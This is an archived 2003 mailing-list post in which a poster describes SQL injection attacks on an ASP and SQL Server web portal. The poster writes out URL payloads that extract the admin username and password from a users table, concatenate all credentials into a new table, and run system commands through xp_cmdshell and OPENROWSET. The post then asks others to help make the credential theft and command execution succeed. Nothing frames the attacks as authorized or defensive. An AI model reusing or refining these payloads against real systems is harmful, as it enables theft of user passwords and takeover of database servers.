|
|||||||||||
|
SQL Injection ASP + SQL Server (problem) ?!
From: <sekure(at)hadrion.com.br>
Date: Mon Jul 28 2003 - 09:11:54 EDT
The IIS appear to be very well patched. I'm trying SQL Injection. :) I found a bug in ASP Script... see: http://www.server.com/portal/index.asp?local=read&id_notice=(select%20min(user)%20from%20users)%20-- I received the name of the min(user) in users tables, see: Technical Information (for support personnel)
Error Type:
The username is "admin". Now i want to know the password of "admin" i tryed: http://www.server.com/portal/index.asp?local=read&id_notice=(select%20pass%20from%20users%20where%20user='admin')%20-- But i received it:
Error Type:
1 - Someone know how to do it return more than 1 value ?? can give-me a example ? I tryed it too: http://www.server.com/portal/index.asp?local=read&id_notice=(select%20min(pass)%20from%20users%20where%20user='admin')%20-- And i receive it:
Error Type:
2 - But it isn't a "password", it appear be a registry key. Someone know what is it ?? And how to do it work and see the password ? :) 3 - I tryed to create a SQL Transaction like this: http://www.server.com/portal/index.asp?local=read&id_noticia=";%20begin%20declare%20(at)ret%20varchar(8000)%20set%20(at)ret=':'%20select%20(at)ret=@ret+'%20+user+'/'+senha%20from%20users%20where%20user>@ret%20select%20(at)ret%20as%20ret%20into%20alluser%20end%20-- I receive it:
Error Type:
Someone know why i received this error ?? I overfflowed the sized allowed in paramter by variable in ASP ? or in SQL Server ? How to do it work ?? :) 4 - My last doubt. I tryed execute commands with xp_cmdshell.. see: http://www.server.com/portal/index.asp?local=read&id_notice=0';EXEC+master..xp_cmdshell(cmd.exe+/c)-- and receive:
Error Type:
OR: http://www.server.com/portal/index.asp?local=read&id_notice=1';EXEC%20master.dbo.xp_cmdshell'cmd.exe%20dir%20c:'--
Error Type:
OR using quotes: http://www.server.com/portal/index.asp?local=read&id_notice=1`;EXEC%20master.dbo.xp_cmdshell'cmd.exe%20dir%20c:'--
Error Type:
And tryed too (use the bug to exec xp_cmdshell stored procedure with a non privilegied user): http://www.server.com/portal/index.asp?local=read&id_notice=";(SELECT%20*%20FROM%0OPENROWSET'SQLOLEDB','Trusted_Connection=Yes;DataSource=MY_SERVER','SET%20FMTONLY%20OFF%20execute%20master..xp_cmdshell%20"dir%20c:\"'))-- I receive ... again the error:
Error Type:
If i try: http://www.server.com/portal/index.asp?local=read&id_notice=(SELECT%20*%20FROM%0OPENROWSET'SQLOLEDB','Trusted_Connection=Yes;DataSource=MY_SERVER','SET%20FMTONLY%20OFF%20execute%20master..xp_cmdshell%20"dir%20c:\"'))-- I receive:
Error Type:
What i'm doing wrong ?? How to do it work ?? Thkz a lot. Best Regards. [ ]'s
Received on Wed Jul 30 00:48:54 2003 This archive was generated by hypermail 2.1.8 : Wed Aug 23 2006 - 14:02:40 EDT |
||||||||||
|
|||||||||||